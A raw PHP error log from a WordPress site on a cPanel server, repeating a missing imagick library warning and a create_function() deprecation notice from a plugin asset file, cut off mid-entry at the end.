/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:11:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:12:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:12:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:17:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:17:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:45:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:45:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 08:46:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 08:46:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 09:47:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 09:47:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 10:48:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 10:48:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 11:48:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 11:48:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 12:49:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 12:49:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 13:51:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 13:51:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:03:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:03:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:04:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:04:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:05:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:05:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:08:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:08:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:09:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:09:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:12:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:12:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:12:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:12:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:13:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:13:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:13:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:13:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:14:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:14:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:14:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:14:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:15:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:15:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:15:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:15:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:15:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:15:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:22:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:22:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:24:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:24:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 14:51:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 14:51:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 15:52:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 15:52:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 16:52:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 16:52:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 17:53:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 17:53:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 18:55:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 18:55:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 18:58:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 18:58:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:14:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:14:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:14:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:14:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:15:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:15:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:16:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:16:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:17:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:17:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:20:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:20:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:20:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:20:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:21:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:21:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:21:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:21:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:21:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:21:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:22:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:22:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:23:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:23:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:23:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:23:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:24:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:24:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:26:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:26:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 19:56:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so 